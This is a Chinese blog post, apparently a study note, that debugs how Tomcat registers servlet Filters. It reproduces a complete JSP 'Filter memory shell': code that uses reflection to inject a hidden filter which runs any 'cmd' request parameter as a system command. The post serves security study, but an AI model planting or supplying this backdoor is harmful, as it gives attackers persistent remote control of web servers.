概述

最近感冒了,不想BB太多,直接开始调试吧,先写个Filter来调试

Filter代码

新建一个FilterShell类,代码如下:

一个类如果想要成为Filter则需要继承Filter,然后重写init、doFilter、destory这三个方法,分别表示了

  • init::Filter在初始化时被调用
  • doFilter:在Filter被命中时被调用
  • destory:在Filter生命周期结束时调用的资源释放方法

其实我们只需要调试init和doFilter方法,以及Filter被实例化的时候的逻辑就行

package org.example.memoryshell;

import javax.servlet.*;
import java.io.IOException; // 如果不想在web.xml中配置,也可以使用这样的注解配置
// @WebFilter(filterName = "FilterShell", urlPatterns = {"/*"})
public class FilterShell implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("FilterShell init......");
Filter.super.init(filterConfig);
} @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("FilterShell doFilter......");
} @Override
public void destroy() {
System.out.println("FilterShell destroy......");
Filter.super.destroy();
}
}

在web.xml中新增filter配置

<filter>
<filter-name>FilterShell</filter-name>
<filter-class>org.example.memoryshell.FilterShell</filter-class>
</filter>
<filter-mapping>
<filter-name>FilterShell</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>

在Filter类的class、init、doFilter这三个地方打上断点,然后我们开始运行Debug。

debug起来之后,先命中了class处的断点,这说明一定有一个地方在尝试创建这个Filter的实例或者说引用了这个Filter,我们追溯一下堆栈中的方法调用。

可以发现这个entry其实就是来自filterDefs,通过debug窗口可以看到filterDefs其实就是一个HashMap,Map的key其实就是我们在web.xml中配置的那个filterName,其实这里还能发现这里还加载了一个叫Tomcat WebSocket (JSR356) Filter的Filter,看起来是Tomcat给websocket加了一个默认的filter,ok,不管它,我们接着调

然后我们f9放开断点,他会命中init方法中的内容,分析init方法可以看到最终他是在ApplicationFilterConfig的initFilter方法中被命中的。

这里需要考虑一个问题,就是项目在初始化的时候会加载web.xml,然后把filterDefs中填充我们的Filter类,然后他会自己解析filterDef创建出来ApplicationFilterConfig,然后再放到filterConfigs中,所以这里就有问题了,就是我们如果构造木马,肯定是没办法改web.xml配置啊,所以我们就需要考虑构造filterDef将其放到filterDefs中,然后还有就是需要再根据filterDef生成一个ApplicationFilterConfig,然后写入到filterConfigs中。

OK,接着进行调试,我们f9放开断点,让其继续往下走,最终会命中doFilter方法。

然后我们跟踪堆栈信息,往上翻发现是ApplicationFilterChain这个地方调用了这里的doFilter方法,然后再往上看,可以找到StandardWrapperValve这个类中的invoke方法,我们点进去看一下。

然后我们看一下这个ApplicationFilterFactory.createFilterChain这个方法中干了什么事儿

从wrapper中去除了StandardContext上下文对象,然后把FilterMaps数据拿到,然后做了一个判断,如果符合这两个条件的话就从context中把filterConfig查出来,filterConfig其实就是Filter的实例,最后把filterConfig添加到filterChain这个调用链中。

  • matchDispatcher

    • filterMap:从context中取出的参数
    • dispatcher:从request.getAttribute(org.apache.catalina.core.DISPATCHER_TYPE)取出的数据,其实就是个枚举值

所以,梳理一下debug过程中相关的数据结构:

  • FilterDefs:存放FilterDef的数组 ,FilterDef 中存储着我们过滤器名,过滤器实例,作用 url 等基本信息
  • FilterConfigs:存放filterConfig的数组,在 FilterConfig 中主要存放 FilterDef 和 Filter对象等信息
  • FilterMaps:存放FilterMap的数组,在 FilterMap 中主要存放了 FilterName 和 对应的URLPattern
  • FilterChain:过滤器链,该对象上的 doFilter 方法能依次调用链上的 Filter
  • ContextConfig:Web应用的上下文配置类
  • StandardContext:Context接口的标准实现类,一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper
  • StandardWrapperValve:一个 Wrapper 的标准实现类,一个 Wrapper 代表一个Servlet

然后放一个大佬画的filter工作的流程图

Filter内存马代码

<%--
Created by IntelliJ IDEA.
User: 15137
Date: 2024/11/29
Time: 14:33
To change this template use File | Settings | File Templates.
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%
final String name = "y4tacker";
ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException { } @Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
byte[] bytes = new byte[1024];
Process process = new ProcessBuilder("cmd","/c",req.getParameter("cmd")).start();
int len = process.getInputStream().read(bytes);
servletResponse.getWriter().write(new String(bytes,0,len));
process.destroy();
return;
}
filterChain.doFilter(servletRequest,servletResponse);
} @Override
public void destroy() { } }; FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig);
out.print("Inject Success !");
}
%> <html>
<head>
<title>Title</title>
</head>
<body> </body>
</html>

这是网上大佬给的代码,我自己写的时候碰到一些问题,但是我发现他们写的也有一些问题,但是也有可能是我的用法不太对。

我经常遇到Tomcat启动时,没有加载我写的这个filter_shell_test.jsp,重新加载tomcat资源文件才加载到这个jsp脚本。

我这里只调了9.0.97版本的tomcat,没有调其他版本的,但是我看其他大佬的帖子中写了关于不同版本tomcat的写法。

这里把大佬的备注直接放这里了。

这种注入filter内存马的方法只支持 Tomcat 7.x 以上,因为 javax.servlet.DispatcherType 类是servlet 3 以后引入,而 Tomcat 7以上才支持 Servlet 3

  filterMap.setDispatcher(DispatcherType.REQUEST.name());

另外在tomcat不同版本需要通过不同的库引入FilterMap和FilterDef

<!-- tomcat 7 -->
<%@ page import = "org.apache.catalina.deploy.FilterMap" %>
<%@ page import = "org.apache.catalina.deploy.FilterDef" %>
<!-- tomcat 8/9 -->
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import = "org.apache.tomcat.util.descriptor.web.FilterDef" %>

Filter内存马的更多相关文章

  1. Java安全之Tomcat6 Filter内存马

    Java安全之Tomcat6 Filter内存马 回顾Tomcat8打法 先回顾下之前Tomcat789的打法 这里先抛开 7 8之间的区别, 在8中,最后add到filterchain的都是一个fi ...

  2. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  3. 【免杀技术】Tomcat内存马-Filter

    Tomcat内存马-Filter型 什么是内存马?为什么要有内存马?什么又是Filter型内存马?这些问题在此就不做赘述 Filter加载流程分析 tomcat启动后正常情况下对于Filter的处理过 ...

  4. Weblogic下的servlet内存马注入-无参照纯调试

    目录 1.寻找servlet注入方法 1.1 调试 1.2 servletMapping添加servlet 2.获取request 2.1 从当前线程寻找信息 2.2 JNDI注入到内存马注入 3.关 ...

  5. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  6. 利用shiro反序列化注入冰蝎内存马

    利用shiro反序列化注入冰蝎内存马 文章首发先知社区:https://xz.aliyun.com/t/10696 一.shiro反序列化注入内存马 1)tomcat filter内存马 先来看一个普 ...

  7. Java Filter型内存马的学习与实践

    完全参考:https://www.cnblogs.com/nice0e3/p/14622879.html 这篇笔记,来源逗神的指点,让我去了解了内存马,这篇笔记记录的是filter类型的内存马 内存马 ...

  8. Tomcat 内存马(二)Filter型

    一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...

  9. Java安全之基于Tomcat的Filter型内存马

    Java安全之基于Tomcat的Filter型内存马 写在前面 现在来说,内存马已经是一种很常见的攻击手法了,基本红队项目中对于入口点都是选择打入内存马.而对于内存马的支持也是五花八门,甚至各大公司都 ...

  10. 针对spring mvc的controller内存马-学习和实验

    1 基础 实际上java内存马的注入已经有很多方式了,这里在学习中动手研究并写了一款spring mvc应用的内存马.一般来说实现无文件落地的java内存马注入,通常是利用反序列化漏洞,所以动手写了一 ...

随机推荐

  1. C++ : 如何用C语言实现C++的虚函数机制?

    前言 在 googletest的源码中,看到gtest-matchers.h 中实现的MatcherBase 类自定义了一个 VTable,这种设计实现了一种类似于C++虚函数的机制.C++中的虚函数 ...

  2. Vue SPA项目如何修改网站标题

    直接贴 门户项目代码 // 全局router 直接挂载路由导航守卫 router.beforeEach((to, from, next) => { if (to.meta.title) { va ...

  3. 原生JavaScript实现可旋转立方体效果基础示例

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  4. 从SQL Server过渡到PostgreSQL:理解模式的差异

    从SQL Server过渡到PostgreSQL:理解模式的差异 前言 随着越来越多的企业转向开源技术,商业数据库管理员和开发者也逐渐面临向PostgreSQL迁移的需求. 虽然SQL Server和 ...

  5. 80篇国产数据库实操文档汇总(含TiDB、达梦、openGauss等)

    国产数据库发展得如火如荼,数据库的国产化替代也正在进行中.最近,有越来越多的朋友都加入了学习国产数据库的队伍中,本文便选取了墨天轮技术社区的国产数据库流行度排行榜上排名靠前的几个数据库,整理了相关的实 ...

  6. GE反射内存卡的指标和型号

    产品特性: • 1路发送,1路接收: • 光纤高速网络2.12GHz: • 最大256个节点: • 光纤协议不占用CPU资源: • 多模光纤节点距离300米:单模光纤节点距离10千米: • 板载128 ...

  7. KubeSphere 社区双周报 | Fluent Operator 发布 v2.5.0 | 2023.09.01-09.14

    KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书.新增的讲师证书以及两周内提交过 commit 的贡献者,并对近期重要的 PR 进行解析,同时还包含了线上/线下活动和布道推广等一系列 ...

  8. KubeSphere 3.4.0 发布:支持 K8s v1.26

    2023 年 07 月 26 日,KubeSphere 开源社区激动地向大家宣布,KubeSphere 3.4.0 正式发布! 让我们先简单回顾下之前三个大版本的主要变化: KubeSphere 3. ...

  9. python-mongodb简单封装

    #!/usr/bin/python # -*- coding: UTF-8 -*- '''@auther :mr.qin @IDE:pycharm''' import pymongo from too ...

  10. Effective C++:把C++看作一个语言联邦

    C++曾经是从C with class发展而来的,但是现在随着异常.模板.STL等等的发展,C++已变得相当的多样与庞大,这一方面让C++功能强大无比的多重范式语言,上天入地无所不能:另一方面,也给学 ...